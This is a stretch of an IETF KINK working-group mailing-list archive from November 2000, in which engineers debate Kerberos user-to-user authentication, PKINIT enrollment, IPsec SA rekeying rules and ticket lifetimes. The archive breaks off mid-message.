(8.9.3/8.9.3) with ESMTP id IAA24732 for ; Tue, 21 Nov 2000 08:11:16 -0800 (PST) Received: from SMTP (fmsmsxvs03-1.fm.intel.com [132.233.42.203]) by baucis.sc.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.32 2000/10/12 22:57:04 dmccart Exp $) with SMTP id QAA10260; Tue, 21 Nov 2000 16:12:02 GMT Received: from fmsmsx19.fm.intel.com ([132.233.48.19]) by 132.233.48.203 (Norton AntiVirus for Internet Email Gateways 1.0) ; Tue, 21 Nov 2000 16:12:01 0000 (GMT) Received: by fmsmsx19.fm.intel.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 08:12:00 -0800 Message-ID: <10C8636AE359D4119118009027AE9987031A8FD5@FMSMSX34> From: "Walker, Jesse" To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK Date: Tue, 21 Nov 2000 08:11:58 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, How, when, and if they choose one is precisely the issue. This was something left unspecified in the interaction between IKE and IPsec, and as a result vendors implemented conformant but non-interoperable solutions to this problem. -- Jesse -----Original Message----- From: Michael Thomas [mailto:mat@cisco.com] Sent: Tuesday, November 21, 2000 7:55 AM To: sommerfeld@east.sun.com Cc: Jan Vilhuber; Derek Atkins; Medvinsky, Sasha (SD-EX); 'Michael Thomas'; 'ietf-kink@vpnc.org' Subject: Re: alternative to user-to-user Kerberos in KINK I guess I don't quite grok the dilemma here. Initiator and responder only matter when setting up/tearing down the SA. Though perhaps not optimal, there shouldn't be a problem having two SA's with the same flow spec between two hosts -- they just needs to chose one. Assuming that either party can tear down an existing SA (which now that I think about it may not work in the current draft), you have the situation where either side can manage the SA's any way they see fit. What am I missing? Mike Bill Sommerfeld writes: > > It might also be worthwhile to do what IKE failed to do, which is to spell > > out re-keying behaviour. If we spell out that the original initiator needs to > > be the one to reinitiate a re-key, then problems won't arise. > > How can that possibly work in a non-VPN, non-connection-oriented > scenario? Does the initiator *always* recreate an expiring SA, just > in case the peer might want to send something in the future? > > Do you engage in some sort of layering violation, peeking into TCP to > see if there are still open connections or tracking connection state > in the IP layer? > > Or do you not care about long-lived connections, and let them drop if > the initiator doesn't have the session up? > > I'm not happy with any of these alternatives.. the responder must be > able to turn around and reinitiate back to the initiator.. > > - Bill > From owner-ietf-kink Tue Nov 21 08:25:17 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA25199 for ietf-kink-bks; Tue, 21 Nov 2000 08:25:17 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA25195 for ; Tue, 21 Nov 2000 08:25:16 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id IAA24914; Tue, 21 Nov 2000 08:25:32 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA07574; Tue, 21 Nov 2000 08:25:32 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.41468.325527.359049@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 08:25:32 -0800 (PST) To: "Walker, Jesse" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <10C8636AE359D4119118009027AE9987031A8FD5@FMSMSX34> References: <10C8636AE359D4119118009027AE9987031A8FD5@FMSMSX34> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jesse, Correct me if I'm wrong, but this sure looks like it's out of the scope of the keying protocol per se. It seems like it would be better to have a BCP or something with base IPsec which defines what the expected behavior ought to be when you have two SA's with the same flow spec. Mike Walker, Jesse writes: > Mike, > > How, when, and if they choose one is precisely the issue. This was something > left unspecified in the interaction between IKE and IPsec, and as a result > vendors implemented conformant but non-interoperable solutions to this > problem. > > -- Jesse > > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 7:55 AM > To: sommerfeld@east.sun.com > Cc: Jan Vilhuber; Derek Atkins; Medvinsky, Sasha (SD-EX); 'Michael > Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > I guess I don't quite grok the dilemma here. Initiator and > responder only matter when setting up/tearing down the > SA. Though perhaps not optimal, there shouldn't be a > problem having two SA's with the same flow spec between > two hosts -- they just needs to chose one. Assuming > that either party can tear down an existing SA (which > now that I think about it may not work in the current > draft), you have the situation where either side can > manage the SA's any way they see fit. > > What am I missing? > > Mike > > Bill Sommerfeld writes: > > > It might also be worthwhile to do what IKE failed to do, which is to > spell > > > out re-keying behaviour. If we spell out that the original initiator > needs to > > > be the one to reinitiate a re-key, then problems won't arise. > > > > How can that possibly work in a non-VPN, non-connection-oriented > > scenario? Does the initiator *always* recreate an expiring SA, just > > in case the peer might want to send something in the future? > > > > Do you engage in some sort of layering violation, peeking into TCP to > > see if there are still open connections or tracking connection state > > in the IP layer? > > > > Or do you not care about long-lived connections, and let them drop if > > the initiator doesn't have the session up? > > > > I'm not happy with any of these alternatives.. the responder must be > > able to turn around and reinitiate back to the initiator.. > > > > - Bill > > > > From owner-ietf-kink Tue Nov 21 09:21:00 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id JAA29188 for ietf-kink-bks; Tue, 21 Nov 2000 09:21:00 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA29179 for ; Tue, 21 Nov 2000 09:20:58 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id MAA29606; Tue, 21 Nov 2000 12:21:45 -0500 To: Michael Thomas Cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <200011202336.eAKNaMa236461@thunk.east.sun.com> <14874.40554.533913.28856@thomasm-u1.cisco.com> From: Derek Atkins Date: 21 Nov 2000 12:21:44 -0500 In-Reply-To: Michael Thomas's message of "Tue, 21 Nov 2000 08:10:18 -0800 (PST)" Message-ID: Lines: 29 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > C'mon, Derik. Netscrape manages to figure out how to prompt > the user for credentials... this doesn't seem like rocket > science. The important interface is the kernel/user boundary; > once it's outside of the kernel, it's not very difficult > to imagine an event driven this or that that could handle this > quite cleanly. Netscrape is a single application. I haven't seen it interact with IPSec. I'm not saying that we can't register a user-agent with the key management daemon to ask for user input. IKE-XAuth certainly requires something like that. I'm just pointing out implementation issues. There's more than just kernel/user boundary, there's also a daemon(background-process)/UI boundary. No, it's not insurmountable. But I also don't think a protocol like this should necessarily mandate a particular UI requirement. > Mike -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Nov 21 09:26:04 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id JAA29611 for ietf-kink-bks; Tue, 21 Nov 2000 09:26:04 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA29605 for ; Tue, 21 Nov 2000 09:26:03 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id JAA26472; Tue, 21 Nov 2000 09:26:16 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA07593; Tue, 21 Nov 2000 09:26:15 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.45111.798172.241271@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 09:26:15 -0800 (PST) To: Derek Atkins Cc: Michael Thomas , sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: References: <200011202336.eAKNaMa236461@thunk.east.sun.com> <14874.40554.533913.28856@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > There's more than just kernel/user boundary, there's also a > daemon(background-process)/UI boundary. No, it's not insurmountable. > But I also don't think a protocol like this should necessarily mandate > a particular UI requirement. Well, I don't either but the good news is that nobody's mandating anything on that count. Everybody is entitled to their own way of getting KINK key(s). Mike From owner-ietf-kink Tue Nov 21 10:05:32 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA02017 for ietf-kink-bks; Tue, 21 Nov 2000 10:05:32 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA02013 for ; Tue, 21 Nov 2000 10:05:31 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id KAA27572; Tue, 21 Nov 2000 10:05:16 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA07606; Tue, 21 Nov 2000 10:05:16 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.47452.245075.146852@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 10:05:16 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'sommerfeld@east.sun.com'" , "'Derek Atkins'" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD48B0@ntas0027.gi.com> References: <97DEDE66B3DCD11199D200805FA71BE202FD48B0@ntas0027.gi.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Medvinsky, Sasha (SD-EX) writes: > All I was saying is that although you can do peer-to-peer authentication > with Kerberos, you shouldn't require it for an architecture where you don't > have a peer-to-peer relationship. I think client/server and peer-peer is somewhat misleading. Colloquially, client/server means that clients initiate transactions, not servers. Peer to peer means that no such distinction is drawn. I don't think that Kerberos, per se, has much to say on that front because "client" machines can host services and "server" machines can act as clients, so it appears to _mostly_ be a distinction without a difference. There are only two things that I know of which requires me to qualify myself above: 1) clients may authenticate using PKINIT which leads to the U-U/enrollment debate 2) it may be a worthwhile optimization to allow machines which subtend large numbers of users (let's not call them clients, because that's misleading) to have the abilty to require the high fanout devices to get and maintain tickets, thus avoiding duplication of effort and storage. #1 seems like we may be headed toward consensus that Matt's idea of enrollment may be a reasonable idea to pursue for PKinit. U-U should also be a fallback. The dispute seems mostly over #2. I still feel really uneasy about the inherent DoS attacks. I'm also not convinced that the real-life use of KINK cannot avoid this dilemma for the most part. Given the downside, I think that waiting to see real implementation experience would be a more prudent course of action. Mike From owner-ietf-kink Wed Nov 22 07:30:49 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id HAA09054 for ietf-kink-bks; Wed, 22 Nov 2000 07:30:49 -0800 (PST) Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA09044 for ; Wed, 22 Nov 2000 07:30:47 -0800 (PST) Received: from SMTP (orsmsxvs01-1.jf.intel.com [192.168.65.200]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with SMTP id HAA17884; Wed, 22 Nov 2000 07:31:42 -0800 (PST) Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.200 (Norton AntiVirus for Internet Email Gateways 1.0) ; Wed, 22 Nov 2000 15:31:42 0000 (GMT) Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2650.21) id ; Wed, 22 Nov 2000 07:31:41 -0800 Message-ID: <10C8636AE359D4119118009027AE9987031A8FEB@FMSMSX34> From: "Walker, Jesse" To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK Date: Wed, 22 Nov 2000 07:31:32 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, I think sidestepping the issue is a fundamental strategic mistake that will render KINK far less relevant than it could otherwise be. Rightly or wrongly, my belief is that one of the justifications for KINK's existence is a number of interoperability issues could never be resolved for IKE. In particular, this issue was never fully addressed for the IKE/IPsec interaction (it is usually referred to as the rekey issue). My recollection is that by the time Tim Jenkins finally published a reasonable way to resolve the problem, vendors had already implemented 8 conformant but non-interoperable algorithms for accomplishing the coordination, and it thereby became infeasible to get any consensus on how to move forward, since no one was willing to give up their own approach. With KINK there is a clean slate, and if the issue is addressed up front, there is a far, far better chance for genuine interoperability. It is not hard to specify an algorithm--the implementation history of the IKE/IPsec interaction gives us at least 8 to choose from! All the spec should do is specify one and decree once and for all that that's how to do it when using KINK. -- Jesse -----Original Message----- From: Michael Thomas [mailto:mat@cisco.com] Sent: Tuesday, November 21, 2000 8:26 AM To: Walker, Jesse Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' Subject: RE: alternative to user-to-user Kerberos in KINK Jesse, Correct me if I'm wrong, but this sure looks like it's out of the scope of the keying protocol per se. It seems like it would be better to have a BCP or something with base IPsec which defines what the expected behavior ought to be when you have two SA's with the same flow spec. Mike Walker, Jesse writes: > Mike, > > How, when, and if they choose one is precisely the issue. This was something > left unspecified in the interaction between IKE and IPsec, and as a result > vendors implemented conformant but non-interoperable solutions to this > problem. > > -- Jesse > > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 7:55 AM > To: sommerfeld@east.sun.com > Cc: Jan Vilhuber; Derek Atkins; Medvinsky, Sasha (SD-EX); 'Michael > Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > I guess I don't quite grok the dilemma here. Initiator and > responder only matter when setting up/tearing down the > SA. Though perhaps not optimal, there shouldn't be a > problem having two SA's with the same flow spec between > two hosts -- they just needs to chose one. Assuming > that either party can tear down an existing SA (which > now that I think about it may not work in the current > draft), you have the situation where either side can > manage the SA's any way they see fit. > > What am I missing? > > Mike > > Bill Sommerfeld writes: > > > It might also be worthwhile to do what IKE failed to do, which is to > spell > > > out re-keying behaviour. If we spell out that the original initiator > needs to > > > be the one to reinitiate a re-key, then problems won't arise. > > > > How can that possibly work in a non-VPN, non-connection-oriented > > scenario? Does the initiator *always* recreate an expiring SA, just > > in case the peer might want to send something in the future? > > > > Do you engage in some sort of layering violation, peeking into TCP to > > see if there are still open connections or tracking connection state > > in the IP layer? > > > > Or do you not care about long-lived connections, and let them drop if > > the initiator doesn't have the session up? > > > > I'm not happy with any of these alternatives.. the responder must be > > able to turn around and reinitiate back to the initiator.. > > > > - Bill > > > > From owner-ietf-kink Wed Nov 22 09:21:27 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id JAA20064 for ietf-kink-bks; Wed, 22 Nov 2000 09:21:27 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA20057 for ; Wed, 22 Nov 2000 09:21:26 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id JAA12499; Wed, 22 Nov 2000 09:21:51 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA08031; Wed, 22 Nov 2000 09:21:51 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14876.174.903678.329297@thomasm-u1.cisco.com> Date: Wed, 22 Nov 2000 09:21:50 -0800 (PST) To: "Walker, Jesse" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <10C8636AE359D4119118009027AE9987031A8FEB@FMSMSX34> References: <10C8636AE359D4119118009027AE9987031A8FEB@FMSMSX34> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: OK, I'm obviously not up to speed on the rekeying wars and I don't remember the details of the jenkins draft. I'm also not sure what, in particular, was the hole that so many people drove through. Showing my ignorance, if it's only a matter in KINK of also describing how the selectors are processed when you have two identical ones, could we just say that you choose the newest one to send on? Does this actually even matter? Thus to rekey, the _rekeying_ initiator would CREATE a new SA on SPI Y, and DELETE the old SPI on X. During the transition, there are a few conditions: 0) The CREATE has not been sent; both initiator and responder MUST process on the old SPI (ie, it's the normal steady state of the previous SA). 1) The CREATE REPLY has not arrived; the initiator MUST consider only the old SPI for sending and receiving traffic. 2) The DELETE has not arrived; the responder MUST choose the new SPI if there are two flow specs which are identical for outgoing traffic and MUST accept incoming traffic on the old SPI. The initiator MUST send on the new SPI, but accept data on both SPI's. The following two are optional; the initiator MAY allow the old SPI to time out: 3) The DELETE REPLY has not arrived; same as (2) for the responder. For the initiator, it MUST accept traffic on either SPI, but only send on the new SPI. 4) The DELETE REPLY is received; same as (0). Am I out in left field here? Mike Walker, Jesse writes: > Mike, > > I think sidestepping the issue is a fundamental strategic mistake that will > render KINK far less relevant than it could otherwise be. > > Rightly or wrongly, my belief is that one of the justifications for KINK's > existence is a number of interoperability issues could never be resolved for > IKE. In particular, this issue was never fully addressed for the IKE/IPsec > interaction (it is usually referred to as the rekey issue). My recollection > is that by the time Tim Jenkins finally published a reasonable way to > resolve the problem, vendors had already implemented 8 conformant but > non-interoperable algorithms for accomplishing the coordination, and it > thereby became infeasible to get any consensus on how to move forward, since > no one was willing to give up their own approach. > > With KINK there is a clean slate, and if the issue is addressed up front, > there is a far, far better chance for genuine interoperability. It is not > hard to specify an algorithm--the implementation history of the IKE/IPsec > interaction gives us at least 8 to choose from! All the spec should do is > specify one and decree once and for all that that's how to do it when using > KINK. > > -- Jesse > > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 8:26 AM > To: Walker, Jesse > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > > Jesse, > > Correct me if I'm wrong, but this sure looks like > it's out of the scope of the keying protocol per > se. It seems like it would be better to have a BCP > or something with base IPsec which defines what > the expected behavior ought to be when you have > two SA's with the same flow spec. > > Mike > > Walker, Jesse writes: > > Mike, > > > > How, when, and if they choose one is precisely the issue. This was > something > > left unspecified in the interaction between IKE and IPsec, and as a > result > > vendors implemented conformant but non-interoperable solutions to this > > problem. > > > > -- Jesse > > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Tuesday, November 21, 2000 7:55 AM > > To: sommerfeld@east.sun.com > > Cc: Jan Vilhuber; Derek Atkins; Medvinsky, Sasha (SD-EX); 'Michael > > Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > > > I guess I don't quite grok the dilemma here. Initiator and > > responder only matter when setting up/tearing down the > > SA. Though perhaps not optimal, there shouldn't be a > > problem having two SA's with the same flow spec between > > two hosts -- they just needs to chose one. Assuming > > that either party can tear down an existing SA (which > > now that I think about it may not work in the current > > draft), you have the situation where either side can > > manage the SA's any way they see fit. > > > > What am I missing? > > > > Mike > > > > Bill Sommerfeld writes: > > > > It might also be worthwhile to do what IKE failed to do, which is to > > spell > > > > out re-keying behaviour. If we spell out that the original initiator > > needs to > > > > be the one to reinitiate a re-key, then problems won't arise. > > > > > > How can that possibly work in a non-VPN, non-connection-oriented > > > scenario? Does the initiator *always* recreate an expiring SA, just > > > in case the peer might want to send something in the future? > > > > > > Do you engage in some sort of layering violation, peeking into TCP to > > > see if there are still open connections or tracking connection state > > > in the IP layer? > > > > > > Or do you not care about long-lived connections, and let them drop if > > > the initiator doesn't have the session up? > > > > > > I'm not happy with any of these alternatives.. the responder must be > > > able to turn around and reinitiate back to the initiator.. > > > > > > - Bill > > > > > > > > > From owner-ietf-kink Wed Nov 22 17:28:49 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA09393 for ietf-kink-bks; Wed, 22 Nov 2000 17:28:49 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA09387 for ; Wed, 22 Nov 2000 17:28:47 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWUKJD3RDOEZTHTS@GI.COM> for ietf-kink@vpnc.org; Wed, 22 Nov 2000 17:29:08 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 22 Nov 2000 17:27:59 -0500 Content-return: allowed Date: Wed, 22 Nov 2000 20:31:06 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" , sommerfeld@east.sun.com Cc: Jan Vilhuber , Derek Atkins , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48D0@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, I don't think there is a need for an new enrollment protocol - it has been defined already. An authenticated PKINIT client would get a service ticket for an "Change Password Service" and then set its symmetric service key with an existing protocol in http://www.ietf.org/internet-drafts/draft-ietf-cat-kerberos-set-passwd-03.tx t. Despite the title of the draft, it allows updates to service keys as well as client passwords. Although the draft was originally intended for updates to an existing key, there is no reason why it couldn't create a new key as well. Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 7:37 AM > To: sommerfeld@east.sun.com > Cc: Jan Vilhuber; Medvinsky, Sasha (SD-EX); Derek Atkins; 'Michael > Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > Bill Sommerfeld writes: > > > Unless you want to do u-u, I guess, which complicates > things. I'd prefer to > > > have them enrolled. > > > > depends on how you measure complexity. i suspect a new enrollment > > protocol would be more complex than just using u-u. > > We're a little bit afield of KINK here, but... > > I've been thinking that the enrollment _protocol_ > doesn't need to be complicated at all: it could > just be a normal PKINIT Kerberos AS-REQ, perhaps > with a flag that tells the KDC to enroll the > principal with the session key that it puts into > the TGT. Perhaps it can even be done without an > explicit flag. That would have the nice property > that you'd also get symmetric key refresh basically > for free, though it does force the KDC to deal with > previous and next keys instead of just one key. > > That said, I think that the harder problem is > going to come down to all of the implications of > distributed database propogation on the KDC's. > That, of course, is an application problem though. > > Mike > From owner-ietf-kink Wed Nov 22 17:45:13 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA09771 for ietf-kink-bks; Wed, 22 Nov 2000 17:45:13 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA09767 for ; Wed, 22 Nov 2000 17:45:12 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWUL3T5K36EZTB7E@GI.COM> for ietf-kink@vpnc.org; Wed, 22 Nov 2000 17:45:38 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 22 Nov 2000 17:44:28 -0500 Content-return: allowed Date: Wed, 22 Nov 2000 20:47:35 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" , Derek Atkins Cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48D2@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I agree with Mike. With Kerberos upgraded to 3-DES or AES, tickets could safely last for weeks - which improves system scalability, you don't have to contact the KDC as often. Tickets may also be used for some purpose other than IPSec. The lifetime of SAs should not be tied to the ticket lifetime (although they can't exceed it). > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 8:04 AM > To: Derek Atkins > Cc: sommerfeld@east.sun.com; Jan Vilhuber; Medvinsky, Sasha (SD-EX); > 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > Derek Atkins writes: > > If you're using user-authentication, then yes, you should > keep it up, > > as long as your TGT is valid. Once the TGT expires, you > can let the > > connection drop. > > I don't think I agree. The current draft has a lifetime of > the SA which may be shorter than the length of the service > ticket. This is probably useful if your sessions are > plentiful, random and short lived. Using a short lifetime > mitigates the need to explicitly delete SA's. From owner-ietf-kink Mon Nov 27 10:43:30 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id KAA21156 for ietf-kink-bks; Mon, 27 Nov 2000 10:43:30 -0800 (PST) Received: from thalia.fm.intel.com (thalia.fm.intel.com [132.233.247.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA21149 for ; Mon, 27 Nov 2000 10:43:28 -0800 (PST) Received: from SMTP (fmsmsxvs04-1.fm.intel.com [132.233.42.204]) by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with SMTP id SAA04206; Mon, 27 Nov 2000 18:46:02 GMT Received: from fmsmsx26.fm.intel.com ([132.233.48.26]) by 132.233.48.204 (Norton AntiVirus for Internet Email Gateways 1.0) ; Mon, 27 Nov 2000 18:44:37 0000 (GMT) Received: by fmsmsx26.fm.intel.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 10:44:36 -0800 Message-ID: <10C8636AE359D4119118009027AE9987031A8FFE@FMSMSX34> From: "Walker, Jesse" To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK Date: Mon, 27 Nov 2000 10:44:29 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, You have proposed a very good start. Here are some comments. a. The document needs to specify a way to identify who is indeed the rekeying initiator in cases of a tie. (IPXWAN totally orders IPX addresses and then arbitrarily decrees the larger of the two wins; perhaps we employ something similar.) b. If KINK rekeying works like IKE rekeying, in that each peer has to contribute nonces and the like as entropy for computing the new SA keys, it is not evident that (2) below is correct. This is because the responder does not know that the initiator can 